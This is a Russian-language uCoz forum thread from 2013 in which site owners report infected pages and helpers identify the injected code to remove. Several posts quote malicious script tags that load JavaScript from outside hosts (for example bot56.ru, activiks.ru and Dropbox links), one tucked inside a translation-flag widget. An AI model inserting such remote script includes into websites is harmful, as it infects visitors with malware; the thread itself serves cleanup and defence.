Модератор форума: Yuri_G |
Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах_3 (архив для чтения) |
Вирусы на сайтах_3 (архив для чтения) |
Код <script type="text/javascript" src="http://rapfan.ucoz.net/js/ui.js"></script> Код <iframe name="fXD88295" frameborder="0" src="http://vk.com/widget_community.php?app=0&width=300px&gid=39448184&mode=0&color1=&color2=&color3=&height=290&url=http%3A%2F%2Frapfan.ucoz.net%2Fload%2Fmuzyka%2F2&13da65dd4da" width="300" height="200" scrolling="no" id="vkwidget1" style="overflow: hidden; height: 290px;"></iframe> этого удалил все равно вирус! Добавлено (26 Мар 2013, 15:23:27) |
Цитата (condor-bird) Цитата (WarDevil)фон сайта как бы затемнён, при открытии любой категории с меню выскакивает новое окно (http://hitulya.ru/) с запросом "Обновите Флеш плеер". Также выскакивает оч. много всплывающей рекламы. Что-то на всех сайтах одни и те же вредоносные баннеры. Всю эту ерунду гнать из кода шаблонов: Большое человеческое спасибо дружище!!!! |
Добрый день. Пришло письмо от яндекса, что на страницах обнаружен вредоносный код:
http://goldkey-klng.ru/index/prajs_list/0-7 http://goldkey-klng.ru/news/o_mjagkoj_krovle/2013-03-19-163 С помощью различных сервисов определил что это Troj/SWFExp-BN, разбираюсь слабо где его искать, но есть подозрение что прячется в форме входа на сайт. Просьба посмотрите и подсажите что делать. |
Цитата (goldkey_klng) но есть подозрение что прячется в форме входа на сайт. верно тут фрейм: <script type="text/javascript" src="http://login-form.bot56.ru/jogin_form_javascript.js" rel="nofollow"></script> повторяется 2 раза Сообщение отредактировал bandjuk - Вторник, 26 Мар 2013, 23:48:45
|
Цитата (bandjuk) верно тут фрейм |
Здравствуйте! Помогите пожалуйста, на школьном сайте появились вирусы: всплывающие окна и т.д., зайти невозможно не гостем, не администратором
Ссылка на сайт http://perwomaisk-s.ucoz.ru/ на самой главной странице есть вирус проблема обнаруживается и под гостем и под администратором тоже Браузер Mozilla, и другие гугл тоже.. Помогите пожалуйста, сайт школьный Прикрепления:
9527636.png
(240.0 Kb)
|
я уже все страницы облазила вот <script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scsct.js"></script>
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scripta.js"></script></body> нашла везде удалила, все равно не помогает |
Он
Цитата (chirkowa24) Здравствуйте! Помогите пожалуйста, на школьном сайте появились вирусы: всплывающие окна и т.д., зайти невозможно не гостем, не администраторомСсылка на сайт http://perwomaisk-s.ucoz.ru/ на самой главной странице есть вирус проблема обнаруживается и под гостем и под администратором тоже Браузер Mozilla, и другие гугл тоже.. Помогите пожалуйста, сайт школьный Прикрепления: 9527636.png(240Kb) Сообщение отредактировал SOCHI1014 - Среда, 27 Мар 2013, 20:36:03
|
Да все вирусы и окна пропали, но теперь с сайта пропала вся ИНФОРМАЦИЯ, я не могу ничего редактировать в визуальном редакторе!!!!пролпали кнопки редактировать в визуальном редакторе т т.д. Через панель управления когла заходишь - информация есть, но при выходе из нее ничего не могу сделать!!!!Как быть???помогите
Добавлено (27 Мар 2013, 20:50:06) |
Добрый день уважаемые админы! До сегодняшнего дня в Мозилле сайт Британский футбол от Славутича работал исправно..но Мозилла пишет обнаружен вредоносный код....и этот браузер сайт не открывает. Некий Mal/Iframe-AN, вот...не могу его найти и удалить....помогите пожалуйста
Ссори за повтор сообщения..но вижу в другой теме никто не сидит..может здесь есть специалисты |
Цитата (chirkowa24) Цитата (SOCHI1014)В коде шаблона я так понимаю это новости найдите это изамените на это $CONTEN Спасибо большое!!!!Все вернулось на место!!!Огромное спасибо!!!!Только вот еще вопрос как на будущее сайт обезопасить!!!!!! |
Цитата (webanet) KsanaH, лучше удалите скрипт соц.закладок от однакнопка и поставьте вместо неё кнопки яндекса http://api.yandex.ru/share/ Благодарю! |
Славутич23рус, блок интернационал лучше удалить полностью. так как там кроме вредоносного кода ещё и миллион картинок с левого сайта. но если этот мусор вам нужен, то удалите просто вредоносный код
Цитата <input original-alt="" original-title="English" src="http://bambun.ru/images/geo/UnitedKingdom.png" onclick="location.href='http://translate.google.ru/translate?js=y&prev=_t&hl=en&ie=UTF-8&u='+location.href+'&sl=ru&tl=en&history_state0=&swap=1'" type="image"> <input original-alt="" original-title="Deutsch" src="http://bambun.ru/images/geo/Germany.png" onclick="location.href='http://translate.google.ru/translate?js=y&prev=_t&hl=de&ie=UTF-8&u='+location.href+'&sl=ru&tl=de&history_state0=&swap=1'" type="image"> <input original-alt="" original-title="Polska" src="http://bambun.ru/images/geo/Poland.png" onclick="location.href='http://translate.google.ru/translate?js=y&prev=_t&hl=pl&ie=UTF-8&u='+location.href+'&sl=ru&tl=pl&history_state0=&swap=1'" type="image"> <input original-alt="" original-title="Rusija" src="http://bambun.ru/images/geo/Russian.png" onclick="location.href='location.href" type="image"><br> <input original-alt="" original-title="Francais" src="http://bambun.ru/images/geo/France.png" onclick="location.href='http://translate.google.ru/translate?js=y&prev=_t&hl=fr&ie=UTF-8&u='+location.href+'&sl=ru&tl=fr&history_state0=&swap=1'" type="image"> <input original-alt="" original-title="Italiano" src="http://bambun.ru/images/geo/Italy.png" onclick="location.href='http://translate.google.ru/translate?js=y&prev=_t&hl=it&ie=UTF-8&u='+location.href+'&sl=ru&tl=it&history_state0=&swap=1'" type="image"> <script type="text/javascript" src="http://activiks.ru/img/png.js"></script> <input original-alt="" original-title="Hrvatski" src="http://bambun.ru/images/geo/Croatia.png" onclick="location.href='http://translate.google.ru/translate?js=y&prev=_t&hl=hr&ie=UTF-8&u='+location.href+'&sl=ru&tl=hr&history_state0=&swap=1'" type="image"> <input original-alt="" original-title="Cestina" src="http://bambun.ru/images/geo/Czech.png" onclick="location.href='http://translate.google.ru/translate?js=y&prev=_t&hl=cs&ie=UTF-8&u='+location.href+'&sl=ru&tl=cs&history_state0=&swap=1'" type="image"> в блоке точное время вот это Код <script src="http://wallaby.ucoz.ru/jv/asf.js"></script> |
| |||